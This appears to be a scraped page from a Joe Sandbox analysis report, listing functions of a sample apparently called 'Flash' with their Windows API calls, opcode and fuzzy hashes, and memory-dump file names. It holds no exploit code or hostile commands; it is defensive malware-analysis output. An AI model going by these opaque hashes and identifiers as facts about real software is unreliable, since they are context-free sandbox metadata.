Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8880ce9a2a0ac00e8a3d3ae4d54339fbb7ee274b2057cd6b1025fcd5e1c2999
Instruction ID: aae4ba8505bd88ea9abb5aa53182d90eb5667b4f045a15c64eeca559c1d26684
Opcode Fuzzy Hash: e8880ce9a2a0ac00e8a3d3ae4d54339fbb7ee274b2057cd6b1025fcd5e1c2999
Instruction Fuzzy Hash: 1A519275600604AFCB15EF68C995FAE77A6AF85310F1485A9F9169B392CB30ED41CB80

Function 009E343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009E351A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction ID: 1405caa4a244df8031a036b51fcc207b7695ca90adea71beb76680e192fc1533
Opcode Fuzzy Hash: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction Fuzzy Hash: 4D31D275204642EFC726DF1AD484A21F7E4FF48310B14C569F98A8B7A5EB30EC81CB80

Function 009E410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009E41B2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4508535cbed36a4b7ef41d8d21ac97e86739ac73c60f733ef07044662233f2e5
Instruction ID: 4ddb7c5b5ccc4141f41677fdcbf9daad64b111b2b2451e3898483b89ffba690a
Opcode Fuzzy Hash: 4508535cbed36a4b7ef41d8d21ac97e86739ac73c60f733ef07044662233f2e5
Instruction Fuzzy Hash: 0C316171A04696AFCF19CF6EC884A5DB7B5FFA8310F158629E81593710D770BDA0CB90

Function 00A0E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00A0E2EA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: df24692242ef354d4f5994db24e9578168da97d66f3282cfef27fff0ed344c7d
Instruction ID: 1ecc5f392ac937ba60de5d87b64a60d65454a1e48c07a4c91ca7dbf557b6ea8a
Opcode Fuzzy Hash: df24692242ef354d4f5994db24e9578168da97d66f3282cfef27fff0ed344c7d
Instruction Fuzzy Hash: 83414874508345DFDB24CF14C484B1ABBE1BF85308F0988ADE9898B362C735EC85CB92

Function 009E49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E4B29: FreeLibrary.KERNEL32(00000000,?), ref: 009E4B63

Part of subcall function 009F547B: __wfsopen.LIBCMT ref: 009F5486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,009E27AF,?,00000001), ref: 009E49F4

Part of subcall function 009E4ADE: FreeLibrary.KERNEL32(00000000), ref: 009E4B18

Part of subcall function 009E48B0: _memmove.LIBCMT ref: 009E48FA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 4126b26ce22db93adbe4748b6d658d20f42f893c4619ca6189d72d371c990a82
Instruction ID: 59549c7c988849f7e6b5e4aa718edd0ffe6f82431d0c577e75e485c6706e5913
Opcode Fuzzy Hash: 4126b26ce22db93adbe4748b6d658d20f42f893c4619ca6189d72d371c990a82
Instruction Fuzzy Hash: 02113A32650205ABCB12FF71CD02FAE77A99F84711F10483DF541A6192EF708E00AB98

Function 009E1BCC Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009E1BFE

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ed768318928ad9db74eb72ab79bc14ac0b3ac671dc733207cff94445e1afad0c
Instruction ID: e51cce34e782462187b546b977b96a1f47cd7f6db6131eaab10b72818a77eff9
Opcode Fuzzy Hash: ed768318928ad9db74eb72ab79bc14ac0b3ac671dc733207cff94445e1afad0c
Instruction Fuzzy Hash: 01114C76204605DFC724CF29D481A26B7E9FF49354724882EE59ACB261E732E841CB50

Function 00A0E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00A0E3CE

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 66bf8f2836e97992bbc340b21769bcab35f7d2193e4d5ffe80402f7b6f3948ae
Instruction ID: 7cd96d876011986b79512be03d44e948905c21a25390e58376bbb896f57152c4
Opcode Fuzzy Hash: 66bf8f2836e97992bbc340b21769bcab35f7d2193e4d5ffe80402f7b6f3948ae
Instruction Fuzzy Hash: D4212FB4948345DFCB24DF54C444B1ABBE5BF88304F09896DF98A97362C731E849CB92

Function 009E4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,009E3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 009E4276

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7280b3445a6ab026ecc2825ca6ecfd301f0ce4f0b16b5c9e901c190f5fb7a6ab
Instruction ID: 1c65688b5e91029e93fab07b86bdfb014f04d2047e4d95778ba3174663b32482
Opcode Fuzzy Hash: 7280b3445a6ab026ecc2825ca6ecfd301f0ce4f0b16b5c9e901c190f5fb7a6ab
Instruction Fuzzy Hash: D9113A312007419FD721CF56C480B62B7F9EF88720F10C92DEABA86A50D7B4EC45CB60

Function 009E1A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009E1A77

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction ID: 9d1529ba72de01ada9994978046480cbee913e499f0d48154466a423a596bb61
Opcode Fuzzy Hash: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction Fuzzy Hash: E001D6722017056ED7255B39DC02B77BB98EB847A0F10853AF61ACA1D1EA31E8408794

Function 00A37C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 009F0FE6: std::exception::exception.LIBCMT ref: 009F101C
Part of subcall function 009F0FE6: __CxxThrowException@8.LIBCMT ref: 009F1031

_memset.LIBCMT ref: 00A37CB4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction ID: 73dae4dc8f4f4936827d8ec8ce594774b0ea6f6dfe1ec72abd810e7d249456c5
Opcode Fuzzy Hash: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction Fuzzy Hash: 8301F6742042049FD325EF5CD541F19BBE5AF9D310F24C45AF6888B392DB72E800CB90

Function 00A0DC5A Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 009F0FE6: std::exception::exception.LIBCMT ref: 009F101C
Part of subcall function 009F0FE6: __CxxThrowException@8.LIBCMT ref: 009F1031

_memmove.LIBCMT ref: 00A0DC8B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Exception@8Throw_memmovestd::exception::exception
String ID:
API String ID: 1602317333-0
Opcode ID: 622f045ca02a7aa9060e93de149df61a25bdc93ff1b8cc602b6dbfb0cb7149fa
Instruction ID: 834e1e900a32b9393e042461053cfe3deb605c1449e1a60d57b0bebcf75e588b
Opcode Fuzzy Hash: 622f045ca02a7aa9060e93de149df61a25bdc93ff1b8cc602b6dbfb0cb7149fa
Instruction Fuzzy Hash: 22F01274644105DFD710DF68C541F25BBE1BF9E300B24845DE2898B392E733D811CB91

Function 009E4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 009E4AA4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: be5aae489344c51e74cc35f997fac2ad9abe6e61f30865c79f603d0c587498e2
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 95F085B6400208BFDF118F85EC00DEBBB79EB89324F0045A8FA045A211D232EA219BA0

Function 009E4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,009E27AF,?,00000001), ref: 009E4A63

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: a9296d3d1c05e0b712c5f7a5bf38b1f0f7a480803b9e8da86778fa173d798022
Instruction ID: 0d93d15bd69770ced49c04e625a7703d3d48063a364cdff7af398e195d0783ca
Opcode Fuzzy Hash: a9296d3d1c05e0b712c5f7a5bf38b1f0f7a480803b9e8da86778fa173d798022
Instruction Fuzzy Hash: 14F01571145751CFCB369F66E494826BBF4AF143263208A7EE2D683610C7759D84DB84

Function 009E4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 009E4AD0

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 1ad7dfd333380ef3119e057cdf76e76c39e1c8aad4e31c0975f5bbfdee77a48e
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: 15F0F87240020DFFDF05CF94C941EAABB79FB54314F208599FD198A212D336DA61AB91

Function 009F09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 009F09E4

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 2997b82d2413a015309deae52ee0c8e9c6a723451a8eeb5d02bdb77b1728e15a
Instruction ID: 0cf3db9f65c71fe819cfa36805e990ebdbc3123dc9fb8f63fd33578ddb1f4ca7
Opcode Fuzzy Hash: 2997b82d2413a015309deae52ee0c8e9c6a723451a8eeb5d02bdb77b1728e15a
Instruction Fuzzy Hash: FBE0863290012857C721E6989C05FEA77EDDB89791F0401B6FC08D7344D9609C818691

Function 00A34D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00A34D31

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 49d76534c6b3f1b363d4d392f0558d203da31b9b40a86f88ad8ee811a6a6cbb9
Instruction ID: 86cbe9fa84dcf2532ec6c1a719a98d3f9942e03e324d6e3fdcee8cfb4e218eaa
Opcode Fuzzy Hash: 49d76534c6b3f1b363d4d392f0558d203da31b9b40a86f88ad8ee811a6a6cbb9
Instruction Fuzzy Hash: ABD05EB190032C2BDB60E6A59C0DDB77BACD744220F0006A1BC9CC3101ED749D8586E0

Function 00A3394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A3384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00A33959,00000000,00000000,?,00A205DB,00A88070,00000002,?,?), ref: 00A338CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00A205DB,00A88070,00000002,?,?,?,00000000), ref: 00A33967

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: c68f80f0efbb6447df7026172dfccfd66637a944cba3be36e2211b34cd7ea35c
Instruction ID: 533bcef55afb8bd78eca91342c8177227e80bd50bd59d024c11ab88ec0ca6c1c
Opcode Fuzzy Hash: c68f80f0efbb6447df7026172dfccfd66637a944cba3be36e2211b34cd7ea35c
Instruction Fuzzy Hash: CAE04636400208BBDB20EF94D801E9ABBBCEB05320F004A5AFD4092111DBB2AE249BA0

Function 009E42CF Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,?,00000000,00A12F8B), ref: 009E42EF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b3be8d461b1f4bd961548bfa0f2bfcf8f3201dfafe5c4061a07a3d076b1b0db5
Instruction ID: 9b749b8f4484471324b91be4c0149334f7d87b9fd29187e356e669ddd563d805
Opcode Fuzzy Hash: b3be8d461b1f4bd961548bfa0f2bfcf8f3201dfafe5c4061a07a3d076b1b0db5
Instruction Fuzzy Hash: ABE09275400B41CFC3324F1AE804412FBF8FFE13613214A2EE1E692660D3B0589A8B50

Function 00A33EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00A33E7D,?,?,?), ref: 00A33F0D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 73579fcb47487e3cf2ae0aa8290fd198335cc36be5110f70fc133f95eddbe80a
Instruction ID: 6a53e0267a66975b9aceb59d3360740e1f1f978efde87df3973ec03edab9acbe
Opcode Fuzzy Hash: 73579fcb47487e3cf2ae0aa8290fd198335cc36be5110f70fc133f95eddbe80a
Instruction Fuzzy Hash: 98D0A7315E020CBBEF50DFA0CC06FA9B7BCEB11706F1002E4F604D90E0DAB269149795

Function 009E42AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A206E6,00000000,00000000,00000000), ref: 009E42BF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: dd11ea113cb37a126ef21aa93a95ab4c2694e21f0939d6e6c7bed3eb4a5c07bc
Instruction ID: 8b7dfeb709a1d80d637ebffba051552ee3e65392dcfbbbdd87e8d8a78be22280
Opcode Fuzzy Hash: dd11ea113cb37a126ef21aa93a95ab4c2694e21f0939d6e6c7bed3eb4a5c07bc
Instruction Fuzzy Hash: 12D0C97464020CBFEB10CB80DC46FAABBBCEB05710F200294FE04A6290E6F27E508B95

Function 00A34FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00A33BFE), ref: 00A34FED

Memory Dump Source

